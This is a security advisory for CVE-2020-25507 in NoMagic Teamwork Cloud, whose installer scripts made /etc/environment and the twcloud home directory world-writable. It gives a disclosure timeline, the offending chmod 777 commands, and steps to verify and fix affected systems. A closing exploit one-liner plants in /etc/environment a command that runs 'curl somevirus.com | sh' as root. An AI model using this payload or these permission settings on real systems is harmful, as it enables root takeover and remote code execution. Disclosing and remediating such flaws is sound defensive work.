sickcodes [CVE-2020-25507] 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H History

1 contributor

194 lines (131 sloc) | 7.85 KB

## Title

NoMagic (Dassault Systèmes) Teamwork Cloud 18.0-19.0 - Incorrect Permissions Assignment for a Critical Resource Allows Arbitrary Code Execution and Local Privilege Escalation to Root.

## CVE ID

CVE-2020-25507

## CVSS Score

7.8

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

## Internal ID

SICK-2020-002

## Vendor

NoMagic, Inc (Dassault Systèmes 3DS)

## Product

Teamwork Cloud (TWCloud)

## Product Version:

18.0

18.4

18.5 SP1 thru SP4

19.0 SP1 thru SP4

## Vulnerability Details

An incorrect permission assignment during the installation script of TeamworkCloud 18.0 thru 19.0 allows a local unprivileged attacker to execute arbitrary code as root. During installation, the user is instructed to set the system enviroment file with world writable permissions (0777 /etc/environment). Any local unprivileged user can execute arbitrary code simply by writing to /etc/environment, which will force all users, including root, to execute arbitrary code during the next login or reboot. In addition, the entire home directory of the twcloud user at /home/twcloud is recursively given world writable permissions. This allows any local unprivileged attacker to execute arbitrary code, as twcloud. This product was previous named Cameo Enterprise Data Warehouse (CEDW).

## Vendor Response

Patched installation instructions & released patch instructions.

### Disclosure Timeline

- **2020-09-09** - Researcher discovers vulnerability.
- **2020-09-09** - CVE Requested.
- **2020-11-02** - CVE Assigned CVE-2020-25507.
- **2020-11-02** - Researcher notifies vendor via email.
- **2020-11-03** - Researcher phones vendor.
- **2020-11-04** - Researcher emails parent company 3DS.
- **2020-11-04** - Vendor confirms recept of report.
- **2020-11-07** - Vendor confirms working on patch.
- **2020-11-26** - Researcher requests update.
- **2020-12-01** - Vendor confirms mitigation and requests communication channel.
- **2020-12-01** - Researcher details that email is a sufficient communication channel.
- **2020-12-11** - Vendor confirms mitigation complete (remove offending installation scripts).
- **2020-12-11** - Researcher warning that they are ready to publish provides another offending URL.

- **2020-12-17** - Researcher requests vendor's department's contact details.
- **2020-12-17** - Vendor affirms that they have acted swiftly.
- **2020-12-19** - Researcher confirms to vendor that they are ready to publish.
- **2020-12-20** - Vendor states they will add patch instructions.
- **2020-12-20** - Researcher writes & provides patch.
- **2020-12-20** - Vendor publishes researcher's patch on vendor's forum.
- **2020-12-22** - Researcher recommends changes to published patch.
- **2020-12-23** - Vendor confirms patch changes.
- **2020-12-24** - Researcher discloses vulnerability.

### Credits

@sickcodes - https://twitter.com/sickcodes/ Security Researcher.

### Links

https://twitter.com/sickcodes

https://sick.codes/sick-2020-002/

https://github.com/sickcodes/security/blob/master/advisories/SICK-2020-002.md

https://sick.codes/finding-a-vulnerability-in-teamwork-cloud-server-nomagic-3ds-which-is-used-by-gov-enterprise-to-design-rockets-missiles-and-satellites/

https://community.nomagic.com/finding-and-fixing-wrong-file-permission-twc-installation-t7165.html

https://github.com/sickcodes/security/blob/master/etc/CVE-2020-25507_install_twc19_centos7.sh

https://web.archive.org/web/20201219155833/https://docs.nomagic.com/pages/viewpage.action?pageId=20846937

https://web.archive.org/web/20201219095507/https://docs.nomagic.com/display/TWCloud185SP1/Installation+on+Centos+7.x

https://github.com/sickcodes

https://www.nomagic.com/

https://www.3ds.com/

https://sick.codes

https://archive.is/dc5Rn

### CVE Links

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25507

https://nvd.nist.gov/vuln/detail/CVE-2020-25507

### PoC

Before December 2020, Teamwork Cloud documentation was as follows: [Archive.is] https://archive.is/dc5Rn

Inside the downloadable installation scripts for Teamwork Cloud, some commands were to be executed that permit any user of the system to execute arbitrary code as root.

During installation, executing install_java_###.sh leaves the permissions of the `/etc/environment` file to `777`.

During installation, executing install_twc##_centos7.sh leaves all files and subdirectories of twcloud with permissions of `777`.

Offending commands:

```
# sudo chmod 777 /etc/environment
# sudo chmod -R 777 /home/twcloud/
```

Any installation of Teamwork Cloud should be inspected and immediately patched.

See NoMagic official forum for latest patch instructions:https://community.nomagic.com/finding-and-fixing-wrong-file-permission-twc-installation-t7165.html

Up to date official NoMagic installation instructions: https://docs.nomagic.com/display/TWCloud190SP4/Installation+on+Linux+using+scripts

### Mitigation: Verification of an affected system.

Before you patch this vulnerability, it is highly recommended that you take a whole disk image of your Teamwork Cloud server; for both backup purposes and forensic analysis purposes.

Customers who executed the following two files between 2018 and end of 2020, or copied the installation instructions on the NoMagic documentation, must check their systems and patch accordingly.

For example:

```
backup.sh
backup_all.sh
install_flex_centos7.sh
install_java_###.sh              <-----CVE-2020-25507----<
install_twc##_centos7.sh         <-----CVE-2020-25507----<
install_cassandra#_##_centos7.sh
```

```
restore-single_node.sh
fixcassandraservice.sh
```

Two of the installation scripts are vulnerable to CVE-2020-25507.

- install_java_###.sh
- install_twc##_centos7.sh

Stat your /etc/environment file:

```
stat /etc/environment
# Access: (0777/-rwxrwxrwx)  Uid: ( 1000/    user)   Gid: (  985/   users)
```

If your environment file appears as above, then you must immediately change `/etc/environment` to 644. This is the correct permission for /etc/environment.

```
sudo chmod 644 /etc/environment
stat /etc/environment
# Access: (0644/-rw-r--r--)
```

Inspect the contents of /etc/environment for malicious shell code.

If your Teamwork Cloud server requires an SSH tunnel to access, then your system may be using native authentication. This is alternative to LDAP authentication for Teamwork Cloud.

- IF the customer is allowing users to sign into their teamwork cloud server using SSH tunnel e.g. ssh -L localport:teamworkserver:teamworkserverport username@teamworkserver

** ANY sub-user who can SSH tunnel into your Teamwork Cloud instance may also be permitted to read & write to /etc/environment, allowing execution of arbitrary code on the TWC server, as root, effectively violating any security and permission controls whatsoever.

Secondly, veryify the contents of /home/twcloud, recursively:

```
# as root
find -type f /home/twcloud 2>/dev/null | xargs -i ls -lha "{}" | grep rwxrwxrwx 2>/dev/null
```

If you see any output from the above command, then the files inside the twcloud user, who runs the Teamwork Cloud server process, is affected.

```
# as root or twcloud
find /home/twcloud -type d -exec chmod 0755 {} \;
find /home/twcloud -type f -exec chmod 0644 {} \;
```

The above command will change the permissions of all folders to 755, and all files to 644 that are within the twcloud user home directory.

## Exploit

```
# as a subuser
tee -a /etc/environment <<'EOF'
[[ "$(whoami)" = root ]] && nohup bash -c "curl somevirus.com | sh" &
EOF
```

In above example, when root logs into the system, or the system is rebooted, the session will cause arbitrary code to be download from somevirus dot com, and subsequently execute that code in a background process.